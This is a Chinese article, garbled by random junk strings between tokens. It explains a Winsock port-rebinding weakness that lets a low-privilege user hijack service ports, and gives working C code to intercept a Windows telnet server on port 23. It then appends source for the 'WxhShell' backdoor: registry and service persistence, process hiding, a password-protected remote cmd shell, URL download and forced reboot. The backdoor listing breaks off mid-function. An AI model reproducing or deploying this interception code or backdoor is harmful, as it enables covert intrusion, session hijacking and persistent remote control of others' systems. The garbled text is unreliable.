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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qlNB\~HCe s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v;WfcpWq2 r,r"?}Z saddr.sin_family = AF_INET; `'vNHY G'<Ie@$6l saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6N#0D2~^ >4^,[IO/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N|3a(mtiZ' J?$`Tnx^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z=j,-d%9
oB8LJZ; 这意味着什么?意味着可以进行如下的攻击: `gSJEq C9j3|]nyL 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CxV$_J rUW/d3y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "MPr'3 f{w[H S,z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9$WA<1PK+ 2~y<l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 G@4n]c_ XE`u 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~j36(`t ai]KH7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hbSXa' @M)" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 87-z=>IU (J5M+K\H #include +ZJ1> n #include b~C^cM #include (r-8*)Qh8 #include vm.%)F#@ DWORD WINAPI ClientThread(LPVOID lpParam); r<1.'F int main() i{7Vh0n3S- { `s\E"QeZN WORD wVersionRequested; G7YBo4v DWORD ret; `OHdo$Y9 WSADATA wsaData; >l =;6QL BOOL val; 2rrC y C SOCKADDR_IN saddr; eEX* \1Gg SOCKADDR_IN scaddr; -uhg7N[3 int err; C4|H5H SOCKET s; W0LJXp-v SOCKET sc; Gxw>.O){ int caddsize; NI2-*G_M HANDLE mt; |6w{%xC?" DWORD tid; blmY=/] wVersionRequested = MAKEWORD( 2, 2 ); roNs~]6 err = WSAStartup( wVersionRequested, &wsaData ); P] Xl if ( err != 0 ) { t/c)[l hV printf("error!WSAStartup failed!\n"); ?Vc/mO2X return -1; ADT8A."R[ } xF`O ehVA saddr.sin_family = AF_INET; xeKfc}:&z <(x!P=NM- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Vb/XT{T;b <*+Y]= saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x-HR [{C saddr.sin_port = htons(23);
I8XU
' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |K'7BK_^J { RO.bh#A$ printf("error!socket failed!\n"); $j'8Z^ return -1; 3bR 6Y[ } f= 33+8I val = TRUE; ke5_lr( //SO_REUSEADDR选项就是可以实现端口重绑定的 f4+}k GJN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d^G5Pq { r95$( N printf("error!setsockopt failed!\n"); K~jN"ev return -1; FSyeDC^@ } ; d :i //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |&\cr\T\r //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G-G\l?R( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7w5 L?,a Ku;8Mx{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) TuMD+^x { \j~LxV ret=GetLastError(); Yf[GpSej printf("error!bind failed!\n"); W*Ce1 return -1; ZO!)G } o,DI7sb listen(s,2); x#TWZ; while(1) q-nM]Gm { ]?j[P=\ caddsize = sizeof(scaddr); D(^ |'1 //接受连接请求 N0']t Gh2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @P
xX]e if(sc!=INVALID_SOCKET) q@&.)sLPgO { `|g*T~;
kC mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U\`H0' if(mt==NULL) UY*[='l!) { 2:D1<z6RQ printf("Thread Creat Failed!\n"); ]{E{ IW8 break; +}@6V4BRn } 1F58 2 l } cb9q0sdf CloseHandle(mt); AHtLkfr(r } DeL7sU closesocket(s); Z|dng6ck WSACleanup(); d&[.=M\E8 return 0; ^q
?xi5w } L?p,Sy<RI DWORD WINAPI ClientThread(LPVOID lpParam) C`>|D [ { %$.]g SOCKET ss = (SOCKET)lpParam; J#tY$PE SOCKET sc; czHbdEh unsigned char buf[4096]; (>gAnebN
L SOCKADDR_IN saddr; ,6FmU$
Kn long num; +:fr(s!OE DWORD val; VvTs87 DWORD ret; nkvkHh //如果是隐藏端口应用的话,可以在此处加一些判断 Z )f\^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 W2\Q-4D saddr.sin_family = AF_INET; _LUTIqlvi saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D/=
AU saddr.sin_port = htons(23); `&-)(# if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :~1p { #`9D,+2iB% printf("error!socket failed!\n"); 8!uqR!M<C return -1; 4 9zOhG
| } ]C
me)&hX val = 100; 7JI&tlR4\c if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7iJ=~po:o { 7>Oa, \ ret = GetLastError(); M)oJ06`K return -1;
0^PI&7A?y } `*nK@: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k TLA["<m { 8 O5@FU
3 ret = GetLastError(); {} 11U0 return -1; }m6j6uAR6) } u*NU MT2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -UM5&R+o { ~!w()v n printf("error!socket connect failed!\n"); K&WNtk3hT closesocket(sc); 'r5[tK} closesocket(ss); faVR % return -1; *&vySyt } gTp){ while(1) -
:0{
{ Gu3'<hTlxd //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P|S'MS';: //如果是嗅探内容的话,可以再此处进行内容分析和记录 I=,u7w`m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &@dWd num = recv(ss,buf,4096,0); ]c8O"4n
n if(num>0) /!*gH1s send(sc,buf,num,0); btC.EmX else if(num==0) -k19BDJ,W break; ;rj=hc num = recv(sc,buf,4096,0); m*h, <,}-+ if(num>0) bD[6)
ITg send(ss,buf,num,0); "/)}Cc,L else if(num==0) 9xvE?8;M# break; S;"7d } qR~s&SC# closesocket(ss); J!QzF)$4J closesocket(sc); E6-alBi% return 0 ; 5O9Oi:-!c } a/.O,&3
"/).:9],} xi6Fs, 2S ========================================================== MK]S205{ Uv6#d":f; 下边附上一个代码,,WXhSHELL a; Ihv#q i6[,m*q~2x ========================================================== "jVMk XV2f|8d> #include "stdafx.h" #![i
{7 <!\J([NM8 #include <stdio.h> B
0%kq7>g #include <string.h> 7oPBe1P,K+ #include <windows.h> `@{qnCNQ #include <winsock2.h> V(3udB@K #include <winsvc.h> 3<x_[0v`K1 #include <urlmon.h> %}G:R!4 d "[=Ee[/ #pragma comment (lib, "Ws2_32.lib") ?K7m:Dx #pragma comment (lib, "urlmon.lib") %Gn(b1X r4O*0Q_ #define MAX_USER 100 // 最大客户端连接数 [IxZweK #define BUF_SOCK 200 // sock buffer %@U<|9 %ua #define KEY_BUFF 255 // 输入 buffer VGBL<X J#CF S G #define REBOOT 0 // 重启 ru)%0Cyx #define SHUTDOWN 1 // 关机 MB\vgKY uH]n/Kv1, #define DEF_PORT 5000 // 监听端口 vKDPg p<j ^!|BKH8>f% #define REG_LEN 16 // 注册表键长度 Zx<s-J4o=w #define SVC_LEN 80 // NT服务名长度 knypSgk_ 8k+Ctk // 从dll定义API J6Mm=bO5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Arz>
P@EQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )zt*am; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qO>BF/)a( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lN 1 T\ @ky5XV // wxhshell配置信息 ms3Ec`i9 struct WSCFG { /NLpk7r[\q int ws_port; // 监听端口 \u,hS*v0 char ws_passstr[REG_LEN]; // 口令 Jx_ OT C int ws_autoins; // 安装标记, 1=yes 0=no z;'"c3qG8 char ws_regname[REG_LEN]; // 注册表键名 sJ?Fque char ws_svcname[REG_LEN]; // 服务名 Czb@:l%sc char ws_svcdisp[SVC_LEN]; // 服务显示名 ~&k1P:#R char ws_svcdesc[SVC_LEN]; // 服务描述信息 tA@#SIw char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Abce]-E int ws_downexe; // 下载执行标记, 1=yes 0=no `-Gs*#(/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ^`=Z=C$fj char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~oT0h[< Pp3tEZfE }; KWy4}7a@,s LUKdu&M // default Wxhshell configuration |...T
4:^Y struct WSCFG wscfg={DEF_PORT, RIl%p~ "xuhuanlingzhe", 8!me$k& 1, fVo)# Bj "Wxhshell", <+sv7"a "Wxhshell", rN$_(%m_N "WxhShell Service", ]O7I7K "Wrsky Windows CmdShell Service", 7u\^$25+h "Please Input Your Password: ", $>5|TG
0i 1, b V;R}3) " http://www.wrsky.com/wxhshell.exe", "]5]"F 4] "Wxhshell.exe" ThwE1M }; gGe `w N}VKH5U| // 消息定义模块 @(Ou;Uy char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WZ@nuK.39T char *msg_ws_prompt="\n\r? for help\n\r#>"; 2HkP$;lED char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ~;il{ym char *msg_ws_ext="\n\rExit."; GJ
ZT~ char *msg_ws_end="\n\rQuit."; 5cgDHs char *msg_ws_boot="\n\rReboot..."; h&[]B*BLr char *msg_ws_poff="\n\rShutdown..."; ?J6J#{LRd char *msg_ws_down="\n\rSave to "; 8>6+]]O ^C_Y[i
~| char *msg_ws_err="\n\rErr!"; m}Kn!21 char *msg_ws_ok="\n\rOK!"; PRWS[2[yk ^l7u^j char ExeFile[MAX_PATH]; vkASp&a int nUser = 0; aJOhji<b#L HANDLE handles[MAX_USER]; g15e|y)th int OsIsNt; 29 Yg>R!/ k[gO>UGB; SERVICE_STATUS serviceStatus; (Pbdwzao SERVICE_STATUS_HANDLE hServiceStatusHandle; *s S7^OZ* $3W[fC // 函数声明 AnP7KSN[\ int Install(void); e%U0^! 8 int Uninstall(void); M@E*_U!U int DownloadFile(char *sURL, SOCKET wsh); "qIO,\3T int Boot(int flag); GFYAg void HideProc(void); 2} /Z.)^Q int GetOsVer(void); ,L6d~>=41 int Wxhshell(SOCKET wsl); #K"jtAm void TalkWithClient(void *cs); # ~}
26 int CmdShell(SOCKET sock); 506B= int StartFromService(void); a:XVu0`( int StartWxhshell(LPSTR lpCmdLine); !\z:S?V cX>
a>U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $[by) VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8G6PcTqv" R/Mwq#xUb // 数据结构和表定义 S>/p6}3] SERVICE_TABLE_ENTRY DispatchTable[] = B-@6m { I_6?Q^_uZ {wscfg.ws_svcname, NTServiceMain}, F@& R"- {NULL, NULL} "
2Dz5L1v }; 5IOOV Yl kn^RS1m // 自我安装 -}/u?3^- int Install(void) >8"oO[U5> { +?w 7Nm` char svExeFile[MAX_PATH]; m.iCGX HKEY key; d(3F:dbk strcpy(svExeFile,ExeFile); r/$+'~apTk [2pp)wq // 如果是win9x系统,修改注册表设为自启动 %[u6< if(!OsIsNt) { {0nZ;1,m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &=Gz[1
L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : ^F+mQN RegCloseKey(key); /`Yy(?, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HgvgO\`] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g{.>nE^Sc5 RegCloseKey(key); e6z;;C@'G return 0; vIF=kKl9, } w,bILv) } -wH#B<' } SpPG else { 3FT%.dV^ ?&I gD. // 如果是NT以上系统,安装为系统服务 L-hK(W!8pt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3~z4#8= if (schSCManager!=0) 1t_$pDF} { RrSSAoz1 SC_HANDLE schService = CreateService
_CY>45 ( :y==O4 schSCManager, @kvgq 0ab wscfg.ws_svcname, J]UlCg wscfg.ws_svcdisp, r5jiB L~ SERVICE_ALL_ACCESS, 7?-eR- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1 mhX3 SERVICE_AUTO_START, ' @>FtF[Gu SERVICE_ERROR_NORMAL, /=w9bUj5v svExeFile, },KY9w NULL, C7[ge& NULL, @'C f<wns NULL, \kqa4{7 U( NULL, W{O:j NULL zWoPa,
); nr*~R-,\ if (schService!=0) P*oKcq1R { ("0@_05OH CloseServiceHandle(schService); sP$bp Z} CloseServiceHandle(schSCManager); ["- pylhK strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !<H[h4g strcat(svExeFile,wscfg.ws_svcname); DnvJx!#R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zvf:*Na") RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mA}-hR% RegCloseKey(key); 2
*IF return 0; V#.;OtF] } #c@Dn.W } _+g5;S5 CloseServiceHandle(schSCManager); ]y3V^W# } :-ZE~bHJ } Z]D O XIh2Y\33ys return 1; :VP4|H#SP } ?z% @;& x- kCNy // 自我卸载 n"vl%!B int Uninstall(void) ^0"NcOzzxl { ljVtFm< HKEY key; p8K4^H *cxmQ if(!OsIsNt) { >C y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vzK*1R5 RegDeleteValue(key,wscfg.ws_regname); V2sWcV? RegCloseKey(key); eT1b88_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J01w\#62pQ RegDeleteValue(key,wscfg.ws_regname); r/1:!Vu( RegCloseKey(key); dl;~-'0 return 0; }uo5rB5D } s<gZB:~ } qKt8sxg } au7%K5 else { B!GpD@U u':-DgK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fpf1^TZ if (schSCManager!=0) Cnd70tbD ) { (A O]f fBU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r|4jR6%<'m if (schService!=0) 'EU{%\qM { w{k8Y? if(DeleteService(schService)!=0) { ,!t1( H
CloseServiceHandle(schService); IK5FSN]s/ CloseServiceHandle(schSCManager); kB1]_v/ return 0; jUtrFl } `M/=_O3 CloseServiceHandle(schService); 6g4CUP'Y } [:sP Z{ CloseServiceHandle(schSCManager); wGa0w*$ } loN!&YceW } KJWYG^zI Je_Hj9#M\d return 1; @QI]P{ } ^Dh j<_ !iUdej^tx // 从指定url下载文件 /+4Dq4{t) int DownloadFile(char *sURL, SOCKET wsh) ;e;lPM{+ { vLn<=. HRESULT hr; nN>D=a"&F char seps[]= "/"; vb/*ILS char *token; y?O{J!U char *file; ~-x8@ / char myURL[MAX_PATH]; yq+<pfaqvK char myFILE[MAX_PATH]; k$:QpTg[ zk5sAHQ strcpy(myURL,sURL); ;y<)RM token=strtok(myURL,seps); 2!>phE while(token!=NULL) .vNfbYH( { +4\JY"oi file=token; }`6-^lj token=strtok(NULL,seps); 1 6;l,@ } dvxD{UH W~p^AHco` GetCurrentDirectory(MAX_PATH,myFILE); ASY
uZ strcat(myFILE, "\\"); ?15k~1nA strcat(myFILE, file); 5Zs"CDU send(wsh,myFILE,strlen(myFILE),0); Hf+A52lrf send(wsh,"...",3,0); jjBcoQU$o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {l{p if(hr==S_OK) B)
&BqZ& return 0; a<tUpI$ else 3Zg=ZnF return 1; G+4a%?JH S$W
*i@x? } KQi9qj R*.XbkW~ // 系统电源模块 As@~%0 S int Boot(int flag) @)&b..c?_ { !? ?Cxs' HANDLE hToken; %_M B- TOKEN_PRIVILEGES tkp; ;1S{xd*^N "A__z|sQ if(OsIsNt) { m#,
F%s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o]n5pZ\\W< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QC~B8 ] tkp.PrivilegeCount = 1; @SPmb o tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x)G/YUv76 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l*_b)&CH if(flag==REBOOT) { ;knSn$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8/b_4!5c return 0; la)f\Nk } =%Ut&6}sQ else { 8(KsU,%d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9foQ0#R return 0; ""Drf=] } j /-p3#c } ^!{oyw
else { W$gSpZ_7 if(flag==REBOOT) { Q
C~~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G D[~4G return 0; =6 } =Z#tZ{" else { q,u>`]} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Km+29 return 0; 54uTu2 } =AgY8cF!sl } pe,c Syp|s3u; return 1; "%f>/k;!h. } W\} VZY Q2rZMK // win9x进程隐藏模块 aE,x>I 7 D void HideProc(void) 5R"b1 { D>G&aQ J\;~(:
~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e1<28g if ( hKernel != NULL ) =[1W.Zt { JAB]kNvI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MIR17%G ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9s*Lzi[} FreeLibrary(hKernel); `=-}S+ } RtqW!ZZ:H 1>1|>% return; (O`=$e } w-\fCp ) cz T@ txF // 获取操作系统版本 { @-Q1 int GetOsVer(void) ;U7\pc;S { #=O0-si]P OSVERSIONINFO winfo; jNIM1_JjD winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]iz5VI@ GetVersionEx(&winfo); J25>t^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UBU(@T( return 1; )bK<t else 1:>RQPXcWv return 0; O'wN4qb=F } fptW#_V2 5 ;|9bWH // 客户端句柄模块 gj'ar int Wxhshell(SOCKET wsl) r{<u\>6X>P { CZa9hsM SOCKET wsh; =
Oq; struct sockaddr_in client; d3{Zhn@ DWORD myID; ,LMme}FFeb _nRshTt`V& while(nUser<MAX_USER) C#r`oZS1 { aIfog+Lp int nSize=sizeof(client); Hou{tUm{xC wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O]PfQ if(wsh==INVALID_SOCKET) return 1; C$%QVcf *U8#'Uan handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4u(}eE
f7 if(handles[nUser]==0) Tbwq_3fK closesocket(wsh); FSBCk else 1mjv~W nUser++; JPpYT~4 } FVD}9ia WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \hq8/6=4s +(/Z=4;,[ return 0; tL).f:? } O.4"h4{' C )I"yeS. // 关闭 socket Q72wg~% w void CloseIt(SOCKET wsh) KC]Jbm{y { %-*vlNC ) closesocket(wsh); 0 /kbxpih nUser--; M84LbgGM% ExitThread(0); M\<!m^~ } RSi0IfG5 K;97/"
// 客户端请求句柄 R utW{wh void TalkWithClient(void *cs) GHlra^ { XnY}dsSO I{AU, SOCKET wsh=(SOCKET)cs; |l?ALP_g char pwd[SVC_LEN]; 'wZy: c char cmd[KEY_BUFF]; $Us@fJr char chr[1]; s7
KKH
w int i,j; b{ozt\: M Ly<;x^D while (nUser < MAX_USER) { 0!VLPA: CeiU2.:U if(wscfg.ws_passstr) { UxvsSHi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <F3sQAe
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e-')SB //ZeroMemory(pwd,KEY_BUFF); LAKZAi%O0 i=0; _9@?Th&_e while(i<SVC_LEN) {
^(\Gonf< __fR #D // 设置超时 /SKr.S61e fd_set FdRead; rO`g~>- struct timeval TimeOut; B0
I? FD_ZERO(&FdRead); _%2Umy| FD_SET(wsh,&FdRead); p)^:~ll TimeOut.tv_sec=8; ,%'0e/ TimeOut.tv_usec=0; /T(\}Z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bGi_",
8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -Wn.@bz6B LA?\~rh! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cGc|n3( pwd =chr[0]; A]+h<Y~} if(chr[0]==0xd || chr[0]==0xa) { [4hO3):F pwd=0; uBTT {GGQ break; r^E]GDz } 9sCk\`n i++; @Y<tH,* } oyt//SE 3N"&P@/0x // 如果是非法用户,关闭 socket IPVzV\o if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]jb4Z } ~8m>DSs)D 2E2}|:
||& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j?f <hQ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o1WidJ" Uo}&-$ B while(1) { w;EXjl;X O 0c61q Q6 ZeroMemory(cmd,KEY_BUFF); S8OVG4- n6-Ic',; // 自动支持客户端 telnet标准 ?GNF=#=M j=0; MgQU6O< while(j<KEY_BUFF) { S%X\,N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /HuYduGdP cmd[j]=chr[0]; @7s,|\ if(chr[0]==0xa || chr[0]==0xd) { R5eB,FN cmd[j]=0; p RwGv break; vif8{S } 0BCGJFZ{ j++; 2-V)>98 } `f+8WPJPZ cN WcNMm // 下载文件 "'!%}; if(strstr(cmd,"http://")) { 9J7J/]7f send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'n[+r}3 if(DownloadFile(cmd,wsh)) vzcBo% send(wsh,msg_ws_err,strlen(msg_ws_err),0); V<vPFxC else nh eU~jb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V`\f+Uu } hO/5>Zv? else { XU_,Z/Yw_ 'dc+M9u)_q switch(cmd[0]) { i.t9jN $}nh[@ // 帮助 S&3X~jD(1 case '?': { A6N~UV*_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pc(n@'m~ break; adI!W-/R: } ;4G\]%c)E{ // 安装 @?Gw|bP case 'i': { n#>.\F if(Install()) 4Oy.,MDQP send(wsh,msg_ws_err,strlen(msg_ws_err),0); t0bhXFaiE else ;tp]^iB# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {^cF(7p break; H^D
3NuUC } 5@czK*5 // 卸载 ahNX/3;y case 'r': { ,\lYPx\P[ if(Uninstall()) 0+}EA[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); DD!MGf/ else ]3t1=+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dP$8JI{ break; Tr8AG> } =#i4MXRZ{ // 显示 wxhshell 所在路径 |rHG%VnBH case 'p': { b96t0w!cs char svExeFile[MAX_PATH]; ]V36-%^ strcpy(svExeFile,"\n\r"); XM6".eF)M strcat(svExeFile,ExeFile); /m`}f]u send(wsh,svExeFile,strlen(svExeFile),0); -)1-~7
r break; $hkq>i \ } _om0
e=5) // 重启 #`W=mN(+k case 'b': { *cbeyB{E send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'X7%35Y if(Boot(REBOOT)) D.'h?^kA send(wsh,msg_ws_err,strlen(msg_ws_err),0); j-7u>s-l else { Kv(z4 z closesocket(wsh); G&q'#3ieC ExitThread(0); CuH2E>wz } T~BA)![ break; *7ZGq(O } L7'%;?Z // 关机 M!1U@6n!=) case 'd': { _7U]&Nh99 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w|IjQ1{ if(Boot(SHUTDOWN)) @q K]JK send(wsh,msg_ws_err,strlen(msg_ws_err),0); .it#`Yz; else { xwRhs!`t1 closesocket(wsh); *5_V*v6 ExitThread(0); "~F3*lk#E } (n,u|}8Y break; tz26=8 } ^/HW$8wEi // 获取shell f-Jbs`(+ case 's': { YEv%C|l CmdShell(wsh); o*">KqU`b closesocket(wsh); glj7$ ExitThread(0); +Y}V3(w9X break; Y34/+Fi } =<c#owe:m // 退出 F>zl9Vi< case 'x': { 5;\gJf send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $=B8qZ+ CloseIt(wsh); 9T7e\<8"vC break; $<nCXVqL, } Xd<t5{bD! // 离开 l.`u5D case 'q': { ?-MP_9!JK send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?^i1_v7 Bi closesocket(wsh); hoM|P8
}rh WSACleanup(); =^&%9X exit(1); n(1')?"mA break; iDoDwq!l_ } jCioE } !8
-oR6/$% } =w$tvo/ QSw<%pcJE@ // 提示信息 oR .cSGh if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~j>D=! } #>[a{<;Kn } 0nJE/JZ N~^yL <O return; )yG"^Ulu } :s={[KBP OFk8 >"| // shell模块句柄 `F t]MR int CmdShell(SOCKET sock) mYxyWB { 7ZxaPkIu&% STARTUPINFO si; Ea6
&~" ZeroMemory(&si,sizeof(si)); y [#pC<^ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WWKvh si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5U`ZbG PROCESS_INFORMATION ProcessInfo; TlZT1H char cmdline[]="cmd"; NVKC'==0 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F&RgT1* return 0;
h `}} } Q=mI9 uhyj5u) // 自身启动模式 \u,}vppz int StartFromService(void) dU) ]:>Uz { 1MlUG5 typedef struct >Fio;cn? { vhbDb)J DWORD ExitStatus; Wj|alH9< DWORD PebBaseAddress; ncu`vYI. DWORD AffinityMask; {8$=[; DWORD BasePriority; 5|3e& ULONG UniqueProcessId; z]B]QB
Y[ ULONG InheritedFromUniqueProcessId; q6Rr.A } PROCESS_BASIC_INFORMATION; 7SD Fz} @NhvnfZ PROCNTQSIP NtQueryInformationProcess; [B@'kwD\l x:-.+C% static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6+r$t# static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *B`Zq) 2M#M"LHo HANDLE hProcess; FZjHw_pP PROCESS_BASIC_INFORMATION pbi; 7C#`6:tI ;!:U((wv HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X%z }VA if(NULL == hInst ) return 0; Grs]d-xI Vk<
LJ
